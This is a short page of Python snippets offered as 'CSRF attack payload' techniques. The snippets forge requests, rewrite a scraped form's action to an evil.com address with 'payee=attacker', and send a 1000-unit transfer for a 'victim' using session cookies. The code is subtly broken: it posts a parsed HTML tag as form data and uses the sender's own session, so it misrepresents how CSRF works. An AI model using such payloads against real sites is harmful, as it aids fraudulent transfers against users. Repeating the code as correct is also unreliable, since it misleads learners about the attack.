Python实现CSRF攻击的Payload技能

import requests

url = 'http://example.com/csrf_image.jpg?id=123'
image_url = 'http://evil.com/malicious.php?payee=attacker'
data = {'img': image_url}
r = requests.post(url, data=data)

import requests
from bs4 import BeautifulSoup

url = 'http://example.com/page.html'
r = requests.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
form = soup.find('form')
redirect_url = 'http://evil.com/malicious.php?payee=attacker'
form['action'] = redirect_url
r = requests.post(url, data=form)

import requests

url = 'http://example.com/page.html'
form_data = {'username': 'victim', 'password': 'password'}
s = requests.Session()
s.post(url, data=form_data)

payload = 'http://evil.com/malicious.php?payee=attacker'
requests.get(url, params={'user': 'victim', 'action': 'transfer', 'amount': 1000, 'redirect': payload}, cookies=s.cookies.get_dict())